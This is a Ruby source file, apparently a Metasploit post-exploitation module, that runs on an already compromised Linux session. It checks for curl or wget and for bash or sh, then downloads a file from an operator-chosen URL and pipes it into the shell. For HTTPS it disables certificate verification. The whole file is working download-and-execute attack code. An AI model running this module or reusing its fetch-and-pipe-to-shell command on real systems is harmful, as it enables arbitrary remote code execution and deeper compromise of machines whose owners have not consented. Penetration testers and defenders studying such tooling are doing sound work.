119 lines
3.0 KiB
Ruby
119 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Linux::System
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Linux Manage Download and Execute',
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'Description' => %q{
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This module downloads and runs a file with bash. It first tries to uses curl as
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its HTTP client and then wget if it's not found. Bash found in the PATH is used
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to execute the file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Joshua D. Abraham <jabra[at]praetorian.com>',
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],
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'Platform' => ['linux'],
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'SessionTypes' => ['shell', 'meterpreter']
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))
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register_options(
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[
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OptString.new('URL', [true, 'Full URL of file to download.'])
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])
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end
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def cmd_exec_vprint(cmd)
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vprint_status("Executing: #{cmd}")
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output = cmd_exec(cmd)
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if output.length > 0
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vprint_status("#{output}")
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end
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return
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end
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def exists_exe?(exe)
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vprint_status "Searching for #{exe} in the current $PATH..."
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path = get_env("PATH")
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if path.nil? or path.empty?
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return false
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vprint_error "No local $PATH set!"
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else
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vprint_status "$PATH is #{path.strip!}"
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end
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path.split(":").each{ |p|
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full_path = p + "/" + exe
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vprint_status "Searching for '#{full_path}' ..."
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return true if file_exist?(full_path)
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}
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return false
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end
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def search_http_client
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print_status("Checking if curl exists in the path...")
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if exists_exe?("curl")
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print_good("curl available, using it")
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@stdout_option = ""
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@http_client = "curl"
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@ssl_option = "-k"
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return
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end
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print_status("Checking if wget exists in the path...")
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if exists_exe?("wget")
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print_good("wget available, using it")
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@http_client = "wget"
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@stdout_option = "-O-"
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@ssl_option = "--no-check-certificate"
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return
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end
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end
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def search_shell
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print_status("Checking if bash exists in the path...")
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if exists_exe?("bash")
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print_good("bash available, using it")
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@shell = "bash"
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return
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end
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print_status("Checking if sh exists in the path...")
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if exists_exe?("sh")
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print_good("sh available, using it")
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@shell = "sh"
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return
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end
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end
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def run
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search_http_client
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if not @http_client
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print_warning("neither curl nor wget available in the $PATH, aborting...")
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return
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end
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search_shell
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if not @shell
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print_warning("neither bash nor sh available in the $PATH, aborting...")
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return
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end
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if datastore['URL'].match(%r{^https://})
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cmd_exec_vprint("#{@http_client} #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | #{@shell}")
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else
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cmd_exec_vprint("#{@http_client} #{@stdout_option} #{datastore['URL']} 2>/dev/null | #{@shell}")
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end
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end
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end
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